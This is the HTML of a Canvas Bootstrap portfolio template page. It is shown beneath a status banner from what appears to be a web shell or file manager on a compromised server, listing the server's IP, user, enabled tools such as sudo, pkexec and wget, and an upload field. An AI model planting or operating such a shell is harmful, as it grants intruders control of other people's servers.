| Server IP : 172.67.201.108 / Your IP : 216.73.216.11 Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5 System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64 User : ec2-user ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/home2/domains/nycyouth/Package-HTML/Canvas 7 Files/ |
Upload File : |
<!DOCTYPE html> <html dir="ltr" lang="en-US"> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="author" content="SemiColonWeb"> <meta name="description" content="Get Canvas to build powerful websites easily with the Highly Customizable & Best Selling Bootstrap Template, today."> <!-- Font Imports --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=PT+Serif:ital@0;1&display=swap" rel="stylesheet"> <!-- Core Style --> <link rel="stylesheet" href="style.css"> <!-- Font Icons --> <link rel="stylesheet" href="css/font-icons.css"> <!-- Custom CSS --> <link rel="stylesheet" href="css/custom.css"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- Document Title ============================================= --> <title>Home - Portfolio Layout 3 | Canvas</title> </head> <body class="stretched side-header"> <!-- Document Wrapper ============================================= --> <div id="wrapper"> <!-- Header ============================================= --> <header id="header"> <div id="header-wrap"> <div class="container"> <div class="header-row justify-content-between"> <!-- Logo ============================================= --> <div id="logo"> <a href="index.html"> <img class="logo-default" srcset="images/logo-side.png, images/[email protected] 2x" src="images/[email protected]" alt="Canvas Logo"> <img class="logo-dark" srcset="images/logo-side-dark.png, images/[email protected] 2x" src="images/[email protected]" alt="Canvas Logo"> <img class="logo-mobile" srcset="images/logo.png, images/[email protected] 2x" src="images/[email protected]" alt="Canvas Logo"> </a> </div><!-- #logo end --> <div class="primary-menu-trigger"> <button class="cnvs-hamburger" type="button" title="Open Mobile Menu"> <span class="cnvs-hamburger-box"><span class="cnvs-hamburger-inner"></span></span> </button> </div> <div class="header-misc"> <div class="d-flex my-lg-3"> <a href="#" class="social-icon si-small bg-transparent h-bg-facebook"> <i class="fa-brands fa-facebook-f"></i> <i class="fa-brands fa-facebook-f"></i> </a> <a href="#" class="social-icon si-small bg-transparent h-bg-twitter"> <i class="fa-brands fa-twitter"></i> <i class="fa-brands fa-twitter"></i> </a> <a href="#" class="social-icon si-small bg-transparent h-bg-google"> <i class="fa-brands fa-google"></i> <i class="fa-brands fa-google"></i> </a> <a href="#" class="social-icon si-small bg-transparent h-bg-pinterest"> <i class="fa-brands fa-pinterest-p"></i> <i class="fa-brands fa-pinterest-p"></i> </a> <a href="#" class="social-icon si-small bg-transparent h-bg-github"> <i class="fa-brands fa-github"></i> <i class="fa-brands fa-github"></i> </a> </div> </div> <!-- Primary Navigation ============================================= --> <nav class="primary-menu on-click"> <ul class="menu-container"> <li class="menu-item"><a class="menu-link" href="index.html"><div>Home</div></a></li> <li class="menu-item"><a class="menu-link" href="#"><div>Features</div></a></li> <li class="menu-item"><a class="menu-link" href="#"><div>Pages</div></a></li> <li class="menu-item"><a class="menu-link" href="#"><div>Portfolio</div></a></li> <li class="menu-item"><a class="menu-link" href="#"><div>Blog</div></a> <ul class="sub-menu-container"> <li class="menu-item"><a class="menu-link" href="#"><div>Default</div></a> <ul class="sub-menu-container"> <li class="menu-item"><a class="menu-link" href="blog.html"><div>Right Sidebar</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-left-sidebar.html"><div>Left Sidebar</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-both-sidebar.html"><div>Both Sidebar</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-full-width.html"><div>Full Width</div></a></li> </ul> </li> <li class="menu-item"><a class="menu-link" href="#"><div>Timeline</div></a> <ul class="sub-menu-container"> <li class="menu-item"><a class="menu-link" href="blog-timeline-right-sidebar.html"><div>Right Sidebar</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-timeline-left-sidebar.html"><div>Left Sidebar</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-timeline.html"><div>Full Width</div></a></li> </ul> </li> <li class="menu-item"><a class="menu-link" href="#"><div>Masonry</div></a> <ul class="sub-menu-container"> <li class="menu-item"><a class="menu-link" href="blog-masonry.html"><div>4 Columns</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-masonry-3.html"><div>3 Columns</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-masonry-2.html"><div>2 Columns</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-masonry-full.html"><div>100% Width</div></a></li> </ul> </li> <li class="menu-item"><a class="menu-link" href="#"><div>Grid</div></a> <ul class="sub-menu-container"> <li class="menu-item"><a class="menu-link" href="blog-grid.html"><div>4 Columns</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-grid-3.html"><div>3 Columns</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-grid-2.html"><div>2 Columns</div></a></li> </ul> </li> <li class="menu-item"><a class="menu-link" href="#"><div>Small Thumbs</div></a> <ul class="sub-menu-container"> <li class="menu-item"><a class="menu-link" href="blog-small-left-sidebar.html"><div>Left Sidebar</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-small.html"><div>Right Sidebar</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-small-both-sidebar.html"><div>Both Sidebar</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-small-full-width.html"><div>Full Width</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-small-alt.html"><div>Alternate Layout</div></a></li> </ul> </li> <li class="menu-item"><a class="menu-link" href="#"><div>Item Splitting</div></a> <ul class="sub-menu-container"> <li class="menu-item"><a class="menu-link" href="blog-grid.html"><div>Pagination</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-masonry.html"><div>Infinite Scroll</div></a></li> </ul> </li> <li class="menu-item"><a class="menu-link" href="#"><div>Single</div></a> <ul class="sub-menu-container"> <li class="menu-item"><a class="menu-link" href="blog-single.html"><div>Default Layout</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-single-left-sidebar.html"><div>Left Sidebar</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-single-full.html"><div>Full Width</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-single-small.html"><div>Small Image</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-single-split-right-sidebar.html"><div>Split Layout</div></a></li> </ul> </li> <li class="menu-item"><a class="menu-link" href="#"><div>Comments Module</div></a> <ul class="sub-menu-container"> <li class="menu-item"><a class="menu-link" href="blog-single-left-sidebar.html#comments"><div>Facebook Comments</div></a></li> <li class="menu-item"><a class="menu-link" href="blog-single-small.html#comments"><div>Disqus Comments</div></a></li> </ul> </li> </ul> </li> <li class="menu-item"><a class="menu-link" href="shop.html"><div>Shop</div></a></li> <li class="menu-item"><a class="menu-link" href="#"><div>Shortcodes</div></a> <ul class="sub-menu-container"> <li class="menu-item"><a class="menu-link" href="animations.html"><div><i class="bi-magic"></i>Animations</div></a></li> <li class="menu-item"><a class="menu-link" href="buttons.html"><div><i class="bi-square"></i>Buttons</div></a></li> <li class="menu-item"><a class="menu-link" href="carousel.html"><div><i class="bi-arrow-left-right"></i>Carousel</div></a></li> <li class="menu-item"><a class="menu-link" href="charts.html"><div><i class="bi-graph-up-arrow"></i>Charts</div></a></li> <li class="menu-item"><a class="menu-link" href="clients.html"><div><i class="bi-grip-horizontal"></i>Clients</div></a></li> <li class="menu-item"><a class="menu-link" href="columns-grids.html"><div><i class="bi-grid-1x2"></i>Columns</div></a></li> <li class="menu-item"><a class="menu-link" href="counters.html"><div><i class="bi-clock-history"></i>Counters</div></a></li> <li class="menu-item"><a class="menu-link" href="dividers.html"><div><i class="bi-hr"></i>Dividers</div></a></li> <li class="menu-item"><a class="menu-link" href="featured-boxes.html"><div><i class="bi-lightbulb"></i>Icon Boxes</div></a></li> <li class="menu-item"><a class="menu-link" href="gallery.html"><div><i class="bi-images"></i>Galleries</div></a></li> <li class="menu-item"><a class="menu-link" href="headings-dropcaps.html"><div><i class="bi-type-h1"></i>Heading Styles</div></a></li> <li class="menu-item"><a class="menu-link" href="icon-lists.html"><div><i class="bi-list-stars"></i>Icon Lists</div></a></li> <li class="menu-item"><a class="menu-link" href="gradients.html"><div><i class="bi-droplet-half"></i>Gradients</div></a></li> <li class="menu-item"><a class="menu-link" href="lightbox.html"><div><i class="bi-pip"></i>Lightbox</div></a></li> <li class="menu-item"><a class="menu-link" href="lists-cards.html"><div><i class="bi-card-list"></i>Lists & Cards</div></a></li> <li class="menu-item"><a class="menu-link" href="maps.html"><div><i class="bi-geo-fill"></i>Maps</div></a></li> <li class="menu-item"><a class="menu-link" href="media-embeds.html"><div><i class="bi-collection-play"></i>Media Embeds</div></a></li> <li class="menu-item"><a class="menu-link" href="modal-popovers.html"><div><i class="bi-subtract"></i>Modal Boxes</div></a></li> <li class="menu-item"><a class="menu-link" href="navigation.html"><div><i class="bi-list"></i>Navigations</div></a></li> <li class="menu-item"><a class="menu-link" href="pagination-progress.html"><div><i class="bi-123"></i>Pagination</div></a></li> <li class="menu-item"><a class="menu-link" href="pie-skills.html"><div><i class="bi-pie-chart"></i>Pies & Skills</div></a></li> <li class="menu-item"><a class="menu-link" href="pricing.html"><div><i class="bi-currency-dollar"></i>Pricing Boxes</div></a></li> <li class="menu-item"><a class="menu-link" href="process-steps.html"><div><i class="bi-bar-chart-steps"></i>Process Steps</div></a></li> <li class="menu-item"><a class="menu-link" href="promo-boxes.html"><div><i class="bi-card-heading"></i>Promo Boxes</div></a></li> <li class="menu-item"><a class="menu-link" href="quotes-blockquotes.html"><div><i class="bi-blockquote-left"></i>Blockquotes</div></a></li> <li class="menu-item"><a class="menu-link" href="responsive.html"><div><i class="bi-display"></i>Responsive</div></a></li> <li class="menu-item"><a class="menu-link" href="sections.html"><div><i class="bi-window-desktop"></i>Sections</div></a></li> <li class="menu-item"><a class="menu-link" href="social-icons.html"><div><i class="bi-instagram"></i>Social Icons</div></a></li> <li class="menu-item"><a class="menu-link" href="style-boxes.html"><div><i class="bi-exclamation-circle"></i>Alert Boxes</div></a></li> <li class="menu-item"><a class="menu-link" href="styled-icons.html"><div><i class="bi-flower2"></i>Styled Icons</div></a></li> <li class="menu-item"><a class="menu-link" href="tables.html"><div><i class="bi-table"></i>Tables</div></a></li> <li class="menu-item"><a class="menu-link" href="tabs.html"><div><i class="bi-segmented-nav"></i>Tabs</div></a></li> <li class="menu-item"><a class="menu-link" href="testimonials-twitter.html"><div><i class="bi-chat-left-quote"></i>Testimonials</div></a></li> <li class="menu-item"><a class="menu-link" href="thumbnails-slider.html"><div><i class="bi-image"></i>Thumbnails</div></a></li> <li class="menu-item"><a class="menu-link" href="toggles-accordions.html"><div><i class="bi-caret-down-square"></i>Toggles</div></a></li> </ul> </li> </ul> </nav><!-- #primary-menu end --> </div> </div> </div> <div class="header-wrap-clone"></div> </header><!-- #header end --> <!-- Content ============================================= --> <section id="content"> <div class="content-wrap py-0"> <!-- Portfolio Items ============================================= --> <div id="portfolio" class="portfolio row grid-container portfolio-reveal g-0" data-layout="fitRows"> <!-- Portfolio Item: Start --> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-media pf-icons"> <!-- Grid Inner: Start --> <div class="grid-inner"> <!-- Image: Start --> <div class="portfolio-image"> <a href="portfolio-single.html"> <img src="images/portfolio/4/1.jpg" alt="Open Imagination"> </a> <!-- Overlay: Start --> <div class="bg-overlay"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="images/portfolio/full/1.jpg" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="image" title="Image"><i class="uil uil-plus"></i></a> <a href="portfolio-single.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> <!-- Overlay: End --> </div> <!-- Image: End --> <!-- Decription: Start --> <div class="portfolio-desc"> <h3><a href="portfolio-single.html">Open Imagination</a></h3> <span><a href="#">Media</a>, <a href="#">Icons</a></span> </div> <!-- Description: Start --> </div> <!-- Grid Inner: End --> </article> <!-- Portfolio Item: End --> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-illustrations"> <div class="grid-inner"> <div class="portfolio-image"> <a href="portfolio-single.html"> <img src="images/portfolio/4/2.jpg" alt="Locked Steel Gate"> </a> <div class="bg-overlay"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="images/portfolio/full/2.jpg" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="image" title="Image"><i class="uil uil-plus"></i></a> <a href="portfolio-single.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single.html">Locked Steel Gate</a></h3> <span><a href="#">Illustrations</a></span> </div> </div> </article> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-graphics pf-uielements"> <div class="grid-inner"> <div class="portfolio-image"> <a href="#"> <img src="images/portfolio/4/3.jpg" alt="Mac Sunglasses"> </a> <div class="bg-overlay"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="https://vimeo.com/89396394" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="iframe"><i class="uil uil-play"></i></a> <a href="portfolio-single.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single-video.html">Mac Sunglasses</a></h3> <span><a href="#">Graphics</a>, <a href="#">UI Elements</a></span> </div> </div> </article> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-icons pf-illustrations"> <div class="grid-inner"> <div class="portfolio-image"> <div class="fslider" data-arrows="false" data-speed="400" data-pause="4000"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/4.jpg" alt="Morning Dew"></a></div> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/4-1.jpg" alt="Morning Dew"></a></div> </div> </div> </div> <div class="bg-overlay" data-lightbox="gallery"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="images/portfolio/full/4.jpg" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="gallery-item"><i class="uil uil-images"></i></a> <a href="images/portfolio/full/4-1.jpg" class="d-none" data-lightbox="gallery-item"></a> <a href="portfolio-single.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single-gallery.html">Morning Dew</a></h3> <span><a href="#">Icons</a>, <a href="#">Illustrations</a></span> </div> </div> </article> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-uielements pf-media"> <div class="grid-inner"> <div class="portfolio-image"> <a href="portfolio-single.html"> <img src="images/portfolio/4/5.jpg" alt="Console Activity"> </a> <div class="bg-overlay"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="images/portfolio/full/5.jpg" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="image" title="Image"><i class="uil uil-plus"></i></a> <a href="portfolio-single.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single.html">Console Activity</a></h3> <span><a href="#">UI Elements</a>, <a href="#">Media</a></span> </div> </div> </article> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-graphics pf-illustrations"> <div class="grid-inner"> <div class="portfolio-image"> <div class="fslider" data-arrows="false"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/6.jpg" alt="Shake It"></a></div> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/6-1.jpg" alt="Shake It"></a></div> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/6-2.jpg" alt="Shake It"></a></div> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/6-3.jpg" alt="Shake It"></a></div> </div> </div> </div> <div class="bg-overlay" data-lightbox="gallery"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="images/portfolio/full/6.jpg" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="gallery-item"><i class="uil uil-images"></i></a> <a href="images/portfolio/full/6-1.jpg" class="d-none" data-lightbox="gallery-item"></a> <a href="images/portfolio/full/6-2.jpg" class="d-none" data-lightbox="gallery-item"></a> <a href="images/portfolio/full/6-3.jpg" class="d-none" data-lightbox="gallery-item"></a> <a href="portfolio-single-gallery.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single-gallery.html">Shake It!</a></h3> <span><a href="#">Illustrations</a>, <a href="#">Graphics</a></span> </div> </div> </article> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-uielements pf-icons"> <div class="grid-inner"> <div class="portfolio-image"> <a href="portfolio-single-video.html"> <img src="images/portfolio/4/7.jpg" alt="Backpack Contents"> </a> <div class="bg-overlay"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="https://www.youtube.com/watch?v=kuceVNBTJio" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="iframe"><i class="uil uil-play"></i></a> <a href="portfolio-single.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single-video.html">Backpack Contents</a></h3> <span><a href="#">UI Elements</a>, <a href="#">Icons</a></span> </div> </div> </article> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-graphics"> <div class="grid-inner"> <div class="portfolio-image"> <a href="portfolio-single.html"> <img src="images/portfolio/4/8.jpg" alt="Sunset Bulb Glow"> </a> <div class="bg-overlay"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="images/portfolio/full/8.jpg" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="image" title="Image"><i class="uil uil-plus"></i></a> <a href="portfolio-single.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single.html">Sunset Bulb Glow</a></h3> <span><a href="#">Graphics</a></span> </div> </div> </article> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-illustrations pf-icons"> <div class="grid-inner"> <div class="portfolio-image"> <div class="fslider" data-arrows="false" data-speed="650" data-pause="3500" data-animation="fade"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/9.jpg" alt="Bridge Side"></a></div> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/9-1.jpg" alt="Bridge Side"></a></div> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/9-2.jpg" alt="Bridge Side"></a></div> </div> </div> </div> <div class="bg-overlay" data-lightbox="gallery"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="images/portfolio/full/9.jpg" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="gallery-item"><i class="uil uil-images"></i></a> <a href="images/portfolio/full/9-1.jpg" class="d-none" data-lightbox="gallery-item"></a> <a href="images/portfolio/full/9-2.jpg" class="d-none" data-lightbox="gallery-item"></a> <a href="portfolio-single-gallery.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single.html">Bridge Side</a></h3> <span><a href="#">Illustrations</a>, <a href="#">Icons</a></span> </div> </div> </article> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-graphics pf-media pf-uielements"> <div class="grid-inner"> <div class="portfolio-image"> <a href="portfolio-single-video.html"> <img src="images/portfolio/4/10.jpg" alt="Study Table"> </a> <div class="bg-overlay"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="https://vimeo.com/91973305" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="iframe"><i class="uil uil-play"></i></a> <a href="portfolio-single.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single-video.html">Study Table</a></h3> <span><a href="#">Graphics</a>, <a href="#">Media</a></span> </div> </div> </article> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-media pf-icons"> <div class="grid-inner"> <div class="portfolio-image"> <a href="portfolio-single.html"> <img src="images/portfolio/4/11.jpg" alt="Workspace Stuff"> </a> <div class="bg-overlay"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="images/portfolio/full/11.jpg" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="image" title="Image"><i class="uil uil-plus"></i></a> <a href="portfolio-single.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single.html">Workspace Stuff</a></h3> <span><a href="#">Media</a>, <a href="#">Icons</a></span> </div> </div> </article> <article class="portfolio-item col-12 col-sm-6 col-md-4 pf-illustrations pf-graphics"> <div class="grid-inner"> <div class="portfolio-image"> <div class="fslider" data-arrows="false" data-speed="700" data-pause="7000"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/12.jpg" alt="Fixed Aperture"></a></div> <div class="slide"><a href="portfolio-single-gallery.html"><img src="images/portfolio/4/12-1.jpg" alt="Fixed Aperture"></a></div> </div> </div> </div> <div class="bg-overlay" data-lightbox="gallery"> <div class="bg-overlay-content dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"> <a href="images/portfolio/full/12.jpg" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item" data-lightbox="gallery-item"><i class="uil uil-images"></i></a> <a href="images/portfolio/full/12-1.jpg" class="d-none" data-lightbox="gallery-item"></a> <a href="portfolio-single-gallery.html" class="overlay-trigger-icon bg-light text-dark" data-hover-animate="fadeInDownSmall" data-hover-animate-out="fadeOutUpSmall" data-hover-speed="350" data-hover-parent=".portfolio-item"><i class="uil uil-ellipsis-h"></i></a> </div> <div class="bg-overlay-bg dark" data-hover-animate="fadeIn" data-hover-parent=".portfolio-item"></div> </div> </div> <div class="portfolio-desc"> <h3><a href="portfolio-single-gallery.html">Fixed Aperture</a></h3> <span><a href="#">Illustrations</a>, <a href="#">Graphics</a></span> </div> </div> </article> </div><!-- #portfolio end --> <a href="#" class="button button-full text-center button-light button-white"> <div class="container"> Need an Instant Quotation? <strong>Get in Touch</strong> <i class="fa-solid fa-caret-right" style="top:4px;"></i> </div> </a> </div> </section><!-- #content end --> <!-- Footer ============================================= --> <footer id="footer" class="dark"> <!-- Copyrights ============================================= --> <div id="copyrights"> <div class="container"> <div class="text-center"> Copyrights © 2023 All Rights Reserved by Canvas Inc.<br> <div class="copyright-links"><a href="#">Terms of Use</a> / <a href="#">Privacy Policy</a></div> </div> </div> </div><!-- #copyrights end --> </footer><!-- #footer end --> </div><!-- #wrapper end --> <!-- Go To Top ============================================= --> <div id="gotoTop" class="uil uil-angle-up"></div> <!-- JavaScripts ============================================= --> <script src="js/functions.js"></script> <!-- Portfolio Script ============================================= --> </body> </html>